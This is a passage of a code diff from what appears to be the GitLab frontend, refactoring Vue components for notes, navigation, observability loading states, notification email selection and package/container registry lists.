import { dashboardEmptyStates, endpointKeys, initialStateKeys, metricStates } from '../constants';
import * as types from './mutation_types';
import { mapToDashboardViewModel, mapPanelToViewModel, normalizeQueryResponseData } from './utils';
@@ -43,9 +43,9 @@ const emptyStateFromError = (error) => {
// Axios error responses
const { response } = error;
- if (response && response.status === httpStatusCodes.SERVICE_UNAVAILABLE) {
+ if (response && response.status === HTTP_STATUS_SERVICE_UNAVAILABLE) {
return metricStates.CONNECTION_FAILED;
- } else if (response && response.status === httpStatusCodes.BAD_REQUEST) {
+ } else if (response && response.status === HTTP_STATUS_BAD_REQUEST) {
// Note: "error.response.data.error" may contain Prometheus error information
return metricStates.BAD_QUERY;
}
diff --git a/app/assets/javascripts/mr_notes/init_notes.js b/app/assets/javascripts/mr_notes/init_notes.js
index e10605609b0..f5f10aa4a9b 100644
--- a/app/assets/javascripts/mr_notes/init_notes.js
+++ b/app/assets/javascripts/mr_notes/init_notes.js
@@ -1,5 +1,6 @@
import Vue from 'vue';
import { mapActions, mapState, mapGetters } from 'vuex';
+import { renderGFM } from '~/behaviors/markdown/render_gfm';
import { parseBoolean } from '~/lib/utils/common_utils';
import store from '~/mr_notes/stores';
import notesEventHub from '~/notes/event_hub';
@@ -9,6 +10,13 @@ import { getNotesFilterData } from '../notes/utils/get_notes_filter_data';
import initWidget from '../vue_merge_request_widget';
export default () => {
+ requestIdleCallback(
+ () => {
+ renderGFM(document.getElementById('diff-notes-app'));
+ },
+ { timeout: 500 },
+ );
+
const el = document.getElementById('js-vue-mr-discussions');
if (!el) {
return;
diff --git a/app/assets/javascripts/nav/components/new_nav_toggle.vue b/app/assets/javascripts/nav/components/new_nav_toggle.vue
index ef59140115d..7b0076cc5d4 100644
--- a/app/assets/javascripts/nav/components/new_nav_toggle.vue
+++ b/app/assets/javascripts/nav/components/new_nav_toggle.vue
@@ -3,6 +3,7 @@ import { GlBadge, GlToggle } from '@gitlab/ui';
import axios from '~/lib/utils/axios_utils';
import { createAlert } from '~/flash';
import { s__ } from '~/locale';
+import Tracking from '~/tracking';
export default {
i18n: {
@@ -34,9 +35,19 @@ export default {
};
},
methods: {
- async toggleNav() {
+ toggleNav() {
+ this.isEnabled = !this.isEnabled;
+ this.updateAndReload();
+ },
+ async updateAndReload() {
try {
- await axios.put(this.endpoint, { user: { use_new_navigation: !this.enabled } });
+ await axios.put(this.endpoint, { user: { use_new_navigation: this.isEnabled } });
+
+ Tracking.event(undefined, 'click_toggle', {
+ label: this.enabled ? 'disable_new_nav_beta' : 'enable_new_nav_beta',
+ property: 'navigation',
+ });
+
window.location.reload();
} catch (error) {
createAlert({
@@ -55,17 +66,15 @@ export default {
class="gl-px-4 gl-py-2 gl-display-flex gl-justify-content-space-between gl-align-items-center"
>
<b>{{ $options.i18n.sectionTitle }}</b>
- <gl-badge>{{ $options.i18n.badgeLabel }}</gl-badge>
+ <gl-badge variant="info">{{ $options.i18n.badgeLabel }}</gl-badge>
</div>
- <div class="menu-item gl-display-flex! gl-justify-content-space-between gl-align-items-center">
+ <div
+ class="menu-item gl-cursor-pointer gl-display-flex! gl-justify-content-space-between gl-align-items-center"
+ @click.prevent.stop="toggleNav"
+ >
{{ $options.i18n.toggleMenuItemLabel }}
- <gl-toggle
- v-model="isEnabled"
- :label="$options.i18n.toggleLabel"
- label-position="hidden"
- @change="toggleNav"
- />
+ <gl-toggle :value="isEnabled" :label="$options.i18n.toggleLabel" label-position="hidden" />
</div>
</li>
</template>
diff --git a/app/assets/javascripts/notes/components/comment_form.vue b/app/assets/javascripts/notes/components/comment_form.vue
index 2ccb9a0b514..c6e7117cf2e 100644
--- a/app/assets/javascripts/notes/components/comment_form.vue
+++ b/app/assets/javascripts/notes/components/comment_form.vue
@@ -312,7 +312,7 @@ export default {
if (this.isLoggedIn) {
const noteableType = capitalizeFirstCharacter(convertToCamelCase(this.noteableType));
- this.autosave = new Autosave($(this.$refs.textarea), [
+ this.autosave = new Autosave(this.$refs.textarea, [
this.$options.i18n.note,
noteableType,
this.getNoteableData.id,
diff --git a/app/assets/javascripts/notes/components/note_header.vue b/app/assets/javascripts/notes/components/note_header.vue
index 36f7d720e48..79b6139d4b1 100644
--- a/app/assets/javascripts/notes/components/note_header.vue
+++ b/app/assets/javascripts/notes/components/note_header.vue
@@ -1,6 +1,7 @@
<script>
import { GlIcon, GlBadge, GlLoadingIcon, GlTooltipDirective } from '@gitlab/ui';
import { mapActions } from 'vuex';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { __, s__ } from '~/locale';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
@@ -74,6 +75,12 @@ export default {
};
},
computed: {
+ authorId() {
+ return getIdFromGraphQLId(this.author.id);
+ },
+ authorHref() {
+ return this.author.path || this.author.webUrl;
+ },
toggleChevronIconName() {
return this.expanded ? 'chevron-up' : 'chevron-down';
},
@@ -145,9 +152,9 @@ export default {
<template v-if="hasAuthor">
<a
ref="authorNameLink"
- :href="author.path"
+ :href="authorHref"
:class="authorLinkClasses"
- :data-user-id="author.id"
+ :data-user-id="authorId"
:data-username="author.username"
>
<span class="note-header-author-name gl-font-weight-bold">
diff --git a/app/assets/javascripts/notes/mixins/autosave.js b/app/assets/javascripts/notes/mixins/autosave.js
index 61cb4ab2a10..17272d5abef 100644
--- a/app/assets/javascripts/notes/mixins/autosave.js
+++ b/app/assets/javascripts/notes/mixins/autosave.js
@@ -1,4 +1,3 @@
-import $ from 'jquery';
import { s__ } from '~/locale';
import Autosave from '~/autosave';
import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
@@ -16,7 +15,7 @@ export default {
keys = keys.concat(extraKeys);
}
- this.autosave = new Autosave($(this.$refs.noteForm.$refs.textarea), keys);
+ this.autosave = new Autosave(this.$refs.noteForm.$refs.textarea, keys);
},
resetAutoSave() {
this.autosave.reset();
diff --git a/app/assets/javascripts/notes/stores/actions.js b/app/assets/javascripts/notes/stores/actions.js
index d290a8ccb84..5cad091ce2c 100644
--- a/app/assets/javascripts/notes/stores/actions.js
+++ b/app/assets/javascripts/notes/stores/actions.js
@@ -101,7 +101,7 @@ export const fetchDiscussions = (
if (
getters.noteableType === constants.ISSUE_NOTEABLE_TYPE ||
- window.gon?.features?.paginatedMrDiscussions
+ getters.noteableType === constants.MERGE_REQUEST_NOTEABLE_TYPE
) {
return dispatch('fetchDiscussionsBatch', { path, config, perPage: 20 });
}
diff --git a/app/assets/javascripts/notifications/components/notification_email_listbox_input.vue b/app/assets/javascripts/notifications/components/notification_email_listbox_input.vue
new file mode 100644
index 00000000000..5d5524deb0d
--- /dev/null
+++ b/app/assets/javascripts/notifications/components/notification_email_listbox_input.vue
@@ -0,0 +1,46 @@
+<script>
+import ListboxInput from '~/vue_shared/components/listbox_input/listbox_input.vue';
+
+export default {
+ components: {
+ ListboxInput,
+ },
+ inject: ['label', 'name', 'emails', 'emptyValueText', 'value', 'disabled'],
+ data() {
+ return {
+ selected: this.value,
+ };
+ },
+ computed: {
+ options() {
+ return [
+ {
+ value: '',
+ text: this.emptyValueText,
+ },
+ ...this.emails.map((email) => ({
+ text: email,
+ value: email,
+ })),
+ ];
+ },
+ },
+ methods: {
+ async onSelect() {
+ await this.$nextTick();
+ this.$el.closest('form').submit();
+ },
+ },
+};
+</script>
+
+<template>
+ <listbox-input
+ v-model="selected"
+ :label="label"
+ :name="name"
+ :items="options"
+ :disabled="disabled"
+ @select="onSelect"
+ />
+</template>
diff --git a/app/assets/javascripts/notifications/index.js b/app/assets/javascripts/notifications/index.js
index a81f2c2590b..1395084f68c 100644
--- a/app/assets/javascripts/notifications/index.js
+++ b/app/assets/javascripts/notifications/index.js
@@ -2,10 +2,37 @@ import { GlToast } from '@gitlab/ui';
import Vue from 'vue';
import { parseBoolean } from '~/lib/utils/common_utils';
import NotificationsDropdown from './components/notifications_dropdown.vue';
+import NotificationEmailListboxInput from './components/notification_email_listbox_input.vue';
Vue.use(GlToast);
+const initNotificationEmailListboxInputs = () => {
+ const els = [...document.querySelectorAll('.js-notification-email-listbox-input')];
+
+ els.forEach((el, index) => {
+ const { label, name, emptyValueText, value = '' } = el.dataset;
+
+ return new Vue({
+ el,
+ name: `NotificationEmailListboxInputRoot${index + 1}`,
+ provide: {
+ label,
+ name,
+ emails: JSON.parse(el.dataset.emails),
+ emptyValueText,
+ value,
+ disabled: parseBoolean(el.dataset.disabled),
+ },
+ render(h) {
+ return h(NotificationEmailListboxInput);
+ },
+ });
+ });
+};
+
export default () => {
+ initNotificationEmailListboxInputs();
+
const containers = document.querySelectorAll('.js-vue-notification-dropdown');
if (!containers.length) return false;
diff --git a/app/assets/javascripts/observability/components/observability_app.vue b/app/assets/javascripts/observability/components/observability_app.vue
index 33d23ea043b..ff9cf6ff6c5 100644
--- a/app/assets/javascripts/observability/components/observability_app.vue
+++ b/app/assets/javascripts/observability/components/observability_app.vue
@@ -2,7 +2,7 @@
import { darkModeEnabled } from '~/lib/utils/color_utils';
import { setUrlParams } from '~/lib/utils/url_utility';
-import { MESSAGE_EVENT_TYPE, OBSERVABILITY_ROUTES, SKELETON_VARIANT } from '../constants';
+import { MESSAGE_EVENT_TYPE, SKELETON_VARIANTS_BY_ROUTE } from '../constants';
import ObservabilitySkeleton from './skeleton/index.vue';
export default {
@@ -23,16 +23,16 @@ export default {
);
},
getSkeletonVariant() {
- switch (this.$route.path) {
- case OBSERVABILITY_ROUTES.DASHBOARDS:
- return SKELETON_VARIANT.DASHBOARDS;
- case OBSERVABILITY_ROUTES.EXPLORE:
- return SKELETON_VARIANT.EXPLORE;
- case OBSERVABILITY_ROUTES.MANAGE:
- return SKELETON_VARIANT.MANAGE;
- default:
- return SKELETON_VARIANT.DASHBOARDS;
- }
+ const [, variant] =
+ Object.entries(SKELETON_VARIANTS_BY_ROUTE).find(([path]) =>
+ this.$route.path.endsWith(path),
+ ) || [];
+
+ const DEFAULT_SKELETON = 'dashboards';
+
+ if (!variant) return DEFAULT_SKELETON;
+
+ return variant;
},
},
mounted() {
@@ -51,7 +51,7 @@ export default {
} = e;
switch (type) {
case MESSAGE_EVENT_TYPE.GOUI_LOADED:
- this.$refs.iframeSkeleton.handleSkeleton();
+ this.$refs.observabilitySkeleton.onContentLoaded();
break;
case MESSAGE_EVENT_TYPE.GOUI_ROUTE_UPDATE:
this.routeUpdateHandler(payload);
@@ -80,7 +80,7 @@ export default {
</script>
<template>
- <observability-skeleton ref="iframeSkeleton" :variant="getSkeletonVariant">
+ <observability-skeleton ref="observabilitySkeleton" :variant="getSkeletonVariant">
<iframe
id="observability-ui-iframe"
data-testid="observability-ui-iframe"
diff --git a/app/assets/javascripts/observability/components/skeleton/index.vue b/app/assets/javascripts/observability/components/skeleton/index.vue
index 1e2671c8166..c8f196a43f4 100644
--- a/app/assets/javascripts/observability/components/skeleton/index.vue
+++ b/app/assets/javascripts/observability/components/skeleton/index.vue
@@ -1,17 +1,32 @@
<script>
-import { GlSkeletonLoader } from '@gitlab/ui';
-import { SKELETON_VARIANT } from '../../constants';
+import { GlSkeletonLoader, GlAlert } from '@gitlab/ui';
+
+import {
+ SKELETON_VARIANTS_BY_ROUTE,
+ SKELETON_STATE,
+ DEFAULT_TIMERS,
+ OBSERVABILITY_ROUTES,
+ TIMEOUT_ERROR_LABEL,
+ TIMEOUT_ERROR_MESSAGE,
+} from '../../constants';
import DashboardsSkeleton from './dashboards.vue';
import ExploreSkeleton from './explore.vue';
import ManageSkeleton from './manage.vue';
export default {
- SKELETON_VARIANT,
components: {
GlSkeletonLoader,
DashboardsSkeleton,
ExploreSkeleton,
ManageSkeleton,
+ GlAlert,
+ },
+ SKELETON_VARIANTS_BY_ROUTE,
+ SKELETON_STATE,
+ OBSERVABILITY_ROUTES,
+ i18n: {
+ TIMEOUT_ERROR_LABEL,
+ TIMEOUT_ERROR_MESSAGE,
},
props: {
variant: {
@@ -22,65 +37,94 @@ export default {
},
data() {
return {
- loading: null,
- timerId: null,
+ state: null,
+ loadingTimeout: null,
+ errorTimeout: null,
};
},
mounted() {
- this.timerId = setTimeout(() => {
- /**
- * If observability UI is not loaded then this.loading would be null
- * we will show skeleton in that case
- */
- if (this.loading !== false) {
- this.showSkeleton();
- }
- }, 500);
+ this.setLoadingTimeout();
+ this.setErrorTimeout();
+ },
+ destroyed() {
+ clearTimeout(this.loadingTimeout);
+ clearTimeout(this.errorTimeout);
},
methods: {
- handleSkeleton() {
- if (this.loading === null) {
+ onContentLoaded() {
+ clearTimeout(this.errorTimeout);
+ clearTimeout(this.loadingTimeout);
+
+ this.hideSkeleton();
+ },
+ setLoadingTimeout() {
+ this.loadingTimeout = setTimeout(() => {
/**
- * If observability UI content loads with in 500ms
- * do not show skeleton.
+ * If content is not loaded within CONTENT_WAIT_MS,
+ * show the skeleton
*/
- clearTimeout(this.timerId);
- return;
- }
-
- /**
- * If observability UI content loads after 500ms
- * wait for 400ms to hide skeleton.
- * This is mostly to avoid the flashing effect If content loads imediately after skeleton
- */
- setTimeout(this.hideSkeleton, 400);
+ if (this.state !== SKELETON_STATE.HIDDEN) {
+ this.showSkeleton();
+ }
+ }, DEFAULT_TIMERS.CONTENT_WAIT_MS);
+ },
+ setErrorTimeout() {
+ this.errorTimeout = setTimeout(() => {
+ /**
+ * If content is not loaded within TIMEOUT_MS,
+ * show the error dialog
+ */
+ if (this.state !== SKELETON_STATE.HIDDEN) {
+ this.showError();
+ }
+ }, DEFAULT_TIMERS.TIMEOUT_MS);
},
hideSkeleton() {
- this.loading = false;
+ this.state = SKELETON_STATE.HIDDEN;
},
showSkeleton() {
- this.loading = true;
+ this.state = SKELETON_STATE.VISIBLE;
+ },
+ showError() {
+ this.state = SKELETON_STATE.ERROR;
+ },
+
+ isSkeletonShown(route) {
+ return this.variant === SKELETON_VARIANTS_BY_ROUTE[route];
},
},
};
</script>
<template>
<div class="gl-flex-grow-1 gl-display-flex gl-flex-direction-column gl-flex-align-items-stretch">
- <div v-show="loading" class="gl-px-5">
- <dashboards-skeleton v-if="variant === $options.SKELETON_VARIANT.DASHBOARDS" />
- <explore-skeleton v-else-if="variant === $options.SKELETON_VARIANT.EXPLORE" />
- <manage-skeleton v-else-if="variant === $options.SKELETON_VARIANT.MANAGE" />
+ <transition name="fade">
+ <div v-if="state === $options.SKELETON_STATE.VISIBLE" class="gl-px-5">
+ <dashboards-skeleton v-if="isSkeletonShown($options.OBSERVABILITY_ROUTES.DASHBOARDS)" />
+ <explore-skeleton v-else-if="isSkeletonShown($options.OBSERVABILITY_ROUTES.EXPLORE)" />
+ <manage-skeleton v-else-if="isSkeletonShown($options.OBSERVABILITY_ROUTES.MANAGE)" />
- <gl-skeleton-loader v-else>
- <rect y="2" width="10" height="8" />
- <rect y="2" x="15" width="15" height="8" />
- <rect y="2" x="35" width="15" height="8" />
- <rect y="15" width="400" height="30" />
- </gl-skeleton-loader>
- </div>
+ <gl-skeleton-loader v-else>
+ <rect y="2" width="10" height="8" />
+ <rect y="2" x="15" width="15" height="8" />
+ <rect y="2" x="35" width="15" height="8" />
+ <rect y="15" width="400" height="30" />
+ </gl-skeleton-loader>
+ </div>
+ </transition>
+
+ <gl-alert
+ v-if="state === $options.SKELETON_STATE.ERROR"
+ :title="$options.i18n.TIMEOUT_ERROR_LABEL"
+ variant="danger"
+ :dismissible="false"
+ class="gl-m-5"
+ >
+ {{ $options.i18n.TIMEOUT_ERROR_MESSAGE }}
+ </gl-alert>
<div
- v-show="!loading"
+ v-show="state === $options.SKELETON_STATE.HIDDEN"
+ data-testid="observability-wrapper"
class="gl-flex-grow-1 gl-display-flex gl-flex-direction-column gl-flex-align-items-stretch"
>
<slot></slot>
diff --git a/app/assets/javascripts/observability/constants.js b/app/assets/javascripts/observability/constants.js
index 74dd543e285..e4827dd169f 100644
--- a/app/assets/javascripts/observability/constants.js
+++ b/app/assets/javascripts/observability/constants.js
@@ -1,16 +1,32 @@
+import { __ } from '~/locale';
+
export const MESSAGE_EVENT_TYPE = Object.freeze({
GOUI_LOADED: 'GOUI_LOADED',
GOUI_ROUTE_UPDATE: 'GOUI_ROUTE_UPDATE',
});
export const OBSERVABILITY_ROUTES = Object.freeze({
- DASHBOARDS: '/groups/gitlab-org/-/observability/dashboards',
- EXPLORE: '/groups/gitlab-org/-/observability/explore',
- MANAGE: '/groups/gitlab-org/-/observability/manage',
+ DASHBOARDS: 'observability/dashboards',
+ EXPLORE: 'observability/explore',
+ MANAGE: 'observability/manage',
+});
+
+export const SKELETON_VARIANTS_BY_ROUTE = Object.freeze({
+ [OBSERVABILITY_ROUTES.DASHBOARDS]: 'dashboards',
+ [OBSERVABILITY_ROUTES.EXPLORE]: 'explore',
+ [OBSERVABILITY_ROUTES.MANAGE]: 'manage',
});
-export const SKELETON_VARIANT = Object.freeze({
- DASHBOARDS: 'dashboards',
- EXPLORE: 'explore',
- MANAGE: 'manage',
+export const SKELETON_STATE = Object.freeze({
+ ERROR: 'error',
+ VISIBLE: 'visible',
+ HIDDEN: 'hidden',
});
+
+export const DEFAULT_TIMERS = Object.freeze({
+ TIMEOUT_MS: 20000,
+ CONTENT_WAIT_MS: 500,
+});
+
+export const TIMEOUT_ERROR_LABEL = __('Unable to load the page');
+export const TIMEOUT_ERROR_MESSAGE = __('Reload the page to try again.');
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/tags_list_row.vue b/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/tags_list_row.vue
index acf810257e6..38b601ac3ec 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/tags_list_row.vue
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/tags_list_row.vue
@@ -95,7 +95,7 @@ export default {
return formatDate(this.tag.createdAt, 'isoDate');
},
publishedTime() {
- return formatDate(this.tag.createdAt, 'hh:MM Z');
+ return formatDate(this.tag.createdAt, 'HH:MM:ss Z');
},
formattedRevision() {
// to be removed when API response is adjusted
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/list_page/image_list_row.vue b/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/list_page/image_list_row.vue
index 23d8e97dd79..4f89d217623 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/list_page/image_list_row.vue
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/components/list_page/image_list_row.vue
@@ -12,7 +12,6 @@ import {
REMOVE_REPOSITORY_LABEL,
ROW_SCHEDULED_FOR_DELETION,
IMAGE_DELETE_SCHEDULED_STATUS,
- IMAGE_FAILED_DELETED_STATUS,
IMAGE_MIGRATING_STATE,
COPY_IMAGE_PATH_TITLE,
IMAGE_FULL_PATH_LABEL,
@@ -79,9 +78,6 @@ export default {
migrating() {
return this.item.migrationState === IMAGE_MIGRATING_STATE;
},
- failedDelete() {
- return this.item.status === IMAGE_FAILED_DELETED_STATUS;
- },
tagsCountText() {
return n__(
'ContainerRegistry|%{count} Tag',
@@ -99,9 +95,6 @@ export default {
}
return projectPath;
},
- routerLinkEvent() {
- return this.deleting ? '' : 'click';
- },
deleteButtonTooltipTitle() {
return this.migrating
? LIST_DELETE_BUTTON_DISABLED_FOR_MIGRATION
@@ -121,15 +114,7 @@ export default {
</script>
<template>
- <list-item
- v-gl-tooltip="{
- placement: 'left',
- disabled: !deleting,
- title: $options.i18n.ROW_SCHEDULED_FOR_DELETION,
- }"
- v-bind="$attrs"
- :disabled="deleting"
- >
+ <list-item v-bind="$attrs">
<template #left-primary>
<gl-button
v-if="!showFullPath"
@@ -143,12 +128,13 @@ export default {
:aria-label="$options.i18n.IMAGE_FULL_PATH_LABEL"
@click="hideButton"
/>
+ <span v-if="deleting" class="gl-text-gray-500">{{ imageName }}</span>
<router-link
+ v-else
ref="imageName"
class="gl-text-body gl-font-weight-bold"
data-testid="details-link"
data-qa-selector="registry_image_content"
- :event="routerLinkEvent"
:to="{ name: 'details', params: { id } }"
>
{{ imageName }}
@@ -163,21 +149,24 @@ export default {
</template>
<template #left-secondary>
<template v-if="!metadataLoading">
- <span class="gl-display-flex gl-align-items-center" data-testid="tags-count">
- <gl-icon name="tag" class="gl-mr-2" />
- <gl-sprintf :message="tagsCountText">
- <template #count>
- {{ item.tagsCount }}
- </template>
- </gl-sprintf>
- </span>
+ <span v-if="deleting">{{ $options.i18n.ROW_SCHEDULED_FOR_DELETION }}</span>
+ <template v-else>
+ <span class="gl-display-flex gl-align-items-center" data-testid="tags-count">
+ <gl-icon name="tag" class="gl-mr-2" />
+ <gl-sprintf :message="tagsCountText">
+ <template #count>
+ {{ item.tagsCount }}
+ </template>
+ </gl-sprintf>
+ </span>
- <cleanup-status
- v-if="item.expirationPolicyCleanupStatus"
- class="ml-2"
- :status="item.expirationPolicyCleanupStatus"
- :expiration-policy="expirationPolicy"
- />
+ <cleanup-status
+ v-if="item.expirationPolicyCleanupStatus"
+ class="gl-ml-2"
+ :status="item.expirationPolicyCleanupStatus"
+ :expiration-policy="expirationPolicy"
+ />
+ </template>
</template>
<div v-else class="gl-w-full">
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/constants/list.js b/app/assets/javascripts/packages_and_registries/container_registry/explorer/constants/list.js
index 020d78ad364..f2aa4916f48 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/constants/list.js
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/constants/list.js
@@ -53,7 +53,6 @@ export const TRACKING_ACTION_CLICK_SHOW_FULL_PATH = 'click_show_full_path';
// Parameters
export const IMAGE_DELETE_SCHEDULED_STATUS = 'DELETE_SCHEDULED';
-export const IMAGE_FAILED_DELETED_STATUS = 'DELETE_FAILED';
export const IMAGE_MIGRATING_STATE = 'importing';
export const GRAPHQL_PAGE_SIZE = 10;
diff --git a/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/index.js b/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/index.js
index 9b062024d03..850dca07a3f 100644
--- a/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/index.js
+++ b/app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/index.js
@@ -20,7 +20,7 @@ export const apolloProvider = new VueApollo({
ContainerRepositoryDetails: {
fields: {
tags: {
- keyArgs: ['id'],
+ keyArgs: ['id', 'name', 'sort'],
merge: mergeVariables,
},
},
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/components/package_history.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/components/package_history.vue
index e5be98b87f7..06e4c38a179 100644
--- a/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/components/package_history.vue
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/details/components/package_history.vue
@@ -96,9 +96,9 @@ export default {
<history-item icon="commit" data-testid="first-pipeline-commit">
<gl-sprintf :message="$options.i18n.createdByCommitText">
<template #link>
- <gl-link :href="firstPipeline.project.commit_url"
- >#{{ truncate(firstPipeline.sha) }}</gl-link
- >
+ <gl-link :href="firstPipeline.project.commit_url">{{
+ truncate(firstPipeline.sha)
+ }}</gl-link>
</template>
<template #branch>
<strong>{{ firstPipeline.ref }}</strong>
@@ -147,7 +147,7 @@ export default {
>
<gl-sprintf :message="$options.i18n.combinedUpdateText">
<template #link>
- <gl-link :href="pipeline.project.commit_url">#{{ truncate(pipeline.sha) }}</gl-link>
+ <gl-link :href="pipeline.project.commit_url">{{ truncate(pipeline.sha) }}</gl-link>
</template>
<template #branch>
<strong>{{ pipeline.ref }}</strong>
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/delete_modal.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/delete_modal.vue
index 2a1de2ae4a7..011a2668a8b 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/components/delete_modal.vue
+++ b/app/assets/javascripts/packages_and_registries/package_registry/components/delete_modal.vue
@@ -55,6 +55,7 @@ export default {
:action-cancel="$options.modal.cancelAction"
:title="$options.i18n.DELETE_PACKAGES_MODAL_TITLE"
@primary="$emit('confirm')"
+ @cancel="$emit('cancel')"
>
<span>{{ description }}</span>
</gl-modal>
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_history.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_history.vue
index a1fc7563de1..663c361819e 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_history.vue
+++ b/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_history.vue
@@ -159,9 +159,9 @@ export default {
<history-item icon="commit" data-testid="first-pipeline-commit">
<gl-sprintf :message="$options.i18n.createdByCommitText">
<template #link>
- <gl-link :href="firstPipeline.commitPath" @click="trackCommitClick"
- >#{{ truncate(firstPipeline.sha) }}</gl-link
- >
+ <gl-link :href="firstPipeline.commitPath" @click="trackCommitClick">{{
+ truncate(firstPipeline.sha)
+ }}</gl-link>
</template>
<template #branch>
<strong>{{ firstPipeline.ref }}</strong>
@@ -212,9 +212,9 @@ export default {
>
<gl-sprintf :message="$options.i18n.combinedUpdateText">
<template #link>
- <gl-link :href="pipeline.commitPath" @click="trackCommitClick"
- >#{{ truncate(pipeline.sha) }}</gl-link
- >
+ <gl-link :href="pipeline.commitPath" @click="trackCommitClick">{{
+ truncate(pipeline.sha)
+ }}</gl-link>
</template>
<template #branch>
<strong>{{ pipeline.ref }}</strong>
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_versions_list.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_versions_list.vue
index efc60c9c037..787f21d9419 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_versions_list.vue
+++ b/app/assets/javascripts/packages_and_registries/package_registry/components/details/package_versions_list.vue
@@ -1,13 +1,13 @@
<script>
-import { GlKeysetPagination } from '@gitlab/ui';
import VersionRow from '~/packages_and_registries/package_registry/components/details/version_row.vue';
import PackagesListLoader from '~/packages_and_registries/shared/components/packages_list_loader.vue';
+import RegistryList from '~/packages_and_registries/shared/components/registry_list.vue';
export default {
components: {
VersionRow,
- GlKeysetPagination,
PackagesListLoader,
+ RegistryList,
},
props: {
versions: {
@@ -26,9 +26,6 @@ export default {
},
},
computed: {
- showPagination() {
- return this.pageInfo.hasPreviousPage || this.pageInfo.hasNextPage;
- },
isListEmpty() {
return this.versions.length === 0;
},
@@ -42,16 +39,18 @@ export default {
</div>
<slot v-else-if="isListEmpty" name="empty-state"></slot>
<div v-else>
- <version-row v-for="version in versions" :key="version.id" :package-entity="version" />
- <div class="gl-display-flex gl-justify-content-center">
- <gl-keyset-pagination
- v-if="showPagination"
- v-bind="pageInfo"
- class="gl-mt-3"
- @prev="$emit('prev-page')"
- @next="$emit('next-page')"
- />
- </div>
+ <registry-list
+ :hidden-delete="true"
+ :is-loading="isLoading"
+ :items="versions"
+ :pagination="pageInfo"
+ @prev-page="$emit('prev-page')"
+ @next-page="$emit('next-page')"
+ >
+ <template #default="{ item }">
+ <version-row :package-entity="item" />
+ </template>
+ </registry-list>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/details/pypi_installation.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/details/pypi_installation.vue
index dd58f28a262..fdc6e75c932 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/components/details/pypi_installation.vue
+++ b/app/assets/javascripts/packages_and_registries/package_registry/components/details/pypi_installation.vue
@@ -30,7 +30,7 @@ export default {
computed: {
pypiPipCommand() {
// eslint-disable-next-line @gitlab/require-i18n-strings
- return `pip install ${this.packageEntity.name} --extra-index-url ${this.packageEntity.pypiUrl}`;
+ return `pip install ${this.packageEntity.name} --index-url ${this.packageEntity.pypiUrl}`;
},
pypiSetupCommand() {
return `[gitlab]
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/components/list/packages_list.vue b/app/assets/javascripts/packages_and_registries/package_registry/components/list/packages_list.vue
index ddcddf80c15..40bf7b7e143 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/components/list/packages_list.vue
+++ b/app/assets/javascripts/packages_and_registries/package_registry/components/list/packages_list.vue
@@ -5,10 +5,14 @@ import DeletePackageModal from '~/packages_and_registries/shared/components/dele
import PackagesListRow from '~/packages_and_registries/package_registry/components/list/package_list_row.vue';
import PackagesListLoader from '~/packages_and_registries/shared/components/packages_list_loader.vue';
import RegistryList from '~/packages_and_registries/shared/components/registry_list.vue';
+import DeleteModal from '~/packages_and_registries/package_registry/components/delete_modal.vue';
import {
DELETE_PACKAGE_TRACKING_ACTION,
+ DELETE_PACKAGES_TRACKING_ACTION,
REQUEST_DELETE_PACKAGE_TRACKING_ACTION,
+ REQUEST_DELETE_PACKAGES_TRACKING_ACTION,
CANCEL_DELETE_PACKAGE_TRACKING_ACTION,
+ CANCEL_DELETE_PACKAGES_TRACKING_ACTION,
PACKAGE_ERROR_STATUS,
} from '~/packages_and_registries/package_registry/constants';
import { packageTypeToTrackCategory } from '~/packages_and_registries/package_registry/utils';
@@ -18,6 +22,7 @@ export default {
name: 'PackagesList',
components: {
GlAlert,
+ DeleteModal,
DeletePackageModal,
PackagesListLoader,
PackagesListRow,
@@ -44,6 +49,7 @@ export default {
data() {
return {
itemToBeDeleted: null,
+ itemsToBeDeleted: [],
errorPackages: [],
};
},
@@ -92,7 +98,18 @@ export default {
this.setItemToBeDeleted(item);
return;
}
- this.$emit('delete', items);
+ this.itemsToBeDeleted = items;
+ this.track(REQUEST_DELETE_PACKAGES_TRACKING_ACTION);
+ this.$refs.deletePackagesModal.show();
+ },
+ deleteItemsConfirmation() {
+ this.$emit('delete', this.itemsToBeDeleted);
+ this.track(DELETE_PACKAGES_TRACKING_ACTION);
+ this.itemsToBeDeleted = [];
+ },
+ deleteItemsCanceled() {
